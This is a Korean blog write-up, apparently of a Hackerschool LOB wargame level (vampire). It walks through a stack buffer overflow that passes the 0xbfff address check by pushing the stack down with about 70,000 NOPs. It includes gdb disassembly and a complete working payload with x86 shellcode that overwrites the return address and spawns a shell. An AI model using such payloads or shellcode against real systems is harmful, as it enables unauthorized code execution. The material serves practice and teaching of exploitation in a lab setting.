본문 바로가기

Pwnable/LOB

[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level9

troll에 로그인하면 vampire 실행파일과 vampire.c 소스 파일이 보인다. 소스 코드부터 확인 해보았다.

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

 

드디어 argv를 초기화하는 코드가 사라졌으니, argv에 쉘 코드를 저장하면 될 것 같다. 또한 argv[1]의 길이 제한도 없어졌다.

우선, 기존과 동일하게 48번째의 문자는 "\xbf" 여야 한다. 즉, 스택의 공간에 쉘 코드를 저장한 다음 ret을 해당 주소로 덮으라는 의미이다.

그리고 새롭게 추가된 조건이 있는데, 47번째 문자가 "\xff" 이면 안된다. 즉, ret의 주소가 0xbfff 의 위치면 안된다는 의미이다. 그 동안은 모든 주소들이 bfff로 시작했었는데 이를 어떻게 바꿀 수 있는지, bfff 이전의 공간 중에 접근할 만한 곳이 있는지 gdb를 통해 확인해보기로 했다. 

(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,40
0x8048436 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:	jg     0x8048453 <main+35>
0x804843c <main+12>:	push   0x8048520
0x8048441 <main+17>:	call   0x8048350 <printf>
0x8048446 <main+22>:	add    %esp,4
0x8048449 <main+25>:	push   0
0x804844b <main+27>:	call   0x8048360 <exit>
0x8048450 <main+32>:	add    %esp,4
0x8048453 <main+35>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:	add    %eax,4
0x8048459 <main+41>:	mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:	add    %edx,47
0x804845e <main+46>:	cmp    BYTE PTR [%edx],0xbf
0x8048461 <main+49>:	je     0x8048480 <main+80>
0x8048463 <main+51>:	push   0x804852c
0x8048468 <main+56>:	call   0x8048350 <printf>
0x804846d <main+61>:	add    %esp,4
0x8048470 <main+64>:	push   0
0x8048472 <main+66>:	call   0x8048360 <exit>
0x8048477 <main+71>:	add    %esp,4
0x804847a <main+74>:	lea    %esi,[%esi]
0x8048480 <main+80>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048483 <main+83>:	add    %eax,4
0x8048486 <main+86>:	mov    %edx,DWORD PTR [%eax]
0x8048488 <main+88>:	add    %edx,46
0x804848b <main+91>:	cmp    BYTE PTR [%edx],0xff
0x804848e <main+94>:	jne    0x80484a7 <main+119>
0x8048490 <main+96>:	push   0x8048549
0x8048495 <main+101>:	call   0x8048350 <printf>
0x804849a <main+106>:	add    %esp,4
0x804849d <main+109>:	push   0
0x804849f <main+111>:	call   0x8048360 <exit>
0x80484a4 <main+116>:	add    %esp,4
0x80484a7 <main+119>:	mov    %eax,DWORD PTR [%ebp+12]
0x80484aa <main+122>:	add    %eax,4
0x80484ad <main+125>:	mov    %edx,DWORD PTR [%eax]
0x80484af <main+127>:	push   %edx
0x80484b0 <main+128>:	lea    %eax,[%ebp-40]
0x80484b3 <main+131>:	push   %eax
0x80484b4 <main+132>:	call   0x8048370 <strcpy>
0x80484b9 <main+137>:	add    %esp,8
0x80484bc <main+140>:	lea    %eax,[%ebp-40]
0x80484bf <main+143>:	push   %eax
0x80484c0 <main+144>:	push   0x804855f
0x80484c5 <main+149>:	call   0x8048350 <printf>
0x80484ca <main+154>:	add    %esp,8
0x80484cd <main+157>:	leave  
0x80484ce <main+158>:	ret    
0x80484cf <main+159>:	nop    
End of assembler dump.

 

 

맨 위의 네 줄, main+0 부터 main+6을 보면, ebp-40에 buffer가 존재하고, ebp+8에 argc가 존재함을 알 수 있다. 구조는 다음과 같다.

Buffer [40 byte] SFP [4 Byte] RET [4 Byte] argc [4 Byte]

ebp의 주소를 보기 위해 main+0에 중단점을 걸고 실행시켜 보았다. 실행 인자는 `python -c 'print "\90"*47 + "\xbf"'` 이다.

 

 

ebp의 주소는 0xbffffab8이다. 이보다 뒤 쪽에 있는 argc, argv는 복귀 주소로 사용할 수 없을 것 같다. 

 

그래서 생각해낸 방법이 있는데, 만약 agrv[1]의 길이에 제한이 없다면, 스택 공간은 0xbf로 시작되고, 큰 곳에서부터 작은 곳으로 저장하게 된다. 여태까지의 argv 또는 ebp, buffer 등이 모두 0xffff 이후의 공간에 저장되는 것을 볼 수 있었는데, 만약 argv[1]의 값이 너무나도 커서 0xbfff0000 ~ 0xbfffffff의 공간에 담아내지 못할 정도로 크다면, 과연 어떻게 될까에 대해 알아보기 위해서, 실행 인자를 

`python -c 'print "\xbf"*48 + "\x90"*70000'` 

을 넘겨주고서  (참고로 0000 ~ ffff는 10진수로 65536개이다.) ebp를 출력해보았더니, 다음과 같은 결과를 얻을 수 있었다.

 

 

이후엔 전부 0x90909090이 저장되어 있다. argv[1]이 커지는 만큼 ebp를 포함해서 sfp, ret, buffer 등이 전부 앞 쪽으로 밀린 것이다. 왜 이런 결과가 나오는가 하면, 함수를 호출할 때 시스템은 실행 인자들을 push 한다음, 돌아갈 주소(다음 줄의 주소)를 push하고 해당 함수를 실행하게 된다. main 함수가 실행될 때도 동일한데, argv[1]을 먼저 push 하고, argc를 push한 다음, 돌아갈 주소(ret)을 push한 후에 ebp가 push되는데, 제일 먼저 push했던 argv[1]의 값이 너무나도 크기 때문에 그 뒤의 값들을 push 할 땐 비교적 낮은 메모리 주소에 push되는 것이다.

 

원리도 알았고 방법도 알았으니, 페이로드를 작성하면 된다. 공격 과정은 다음과 같다.

 

  1. argv[1]은 [44바이트 + ret 주소를 덮을 4바이트 + "\x90"*70000 + "쉘 코드"]로 구성.
  2. 이 때, ret을 덮을 주소는 0xbffe 로 시작되는 곳에서 \x90이 존재하는 아무 곳이나 지정.
  3. Nop Sled를 통해 대략 70000개의 NOP을 미끄러진 후에 쉘 코드가 실행
  4. 쉘 획득!

위에서 캡쳐한 사진에서 0xbffe로 시작하는 아무런 주소나 지정하면 될 것 같다. 0xbffef808을 기준으로 잡고, ret에 해당 주소를 덮어줄 예정이다.

 

페이로드는 다음과 같다.

`python -c 'print "\x90"*44 + "\x08\xf8\xfe\xbf" + "\x90"*70000 + ""\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

 

정상적으로 작동하는지 입력해보았다.

 

쉘을 띄우는데 성공하였다. 이제 vampire 파일에 그대로 적용시킨 후에, my-pass를 입력해서 패스워드를 출력한 뒤 vampire로 로그인하면 된다.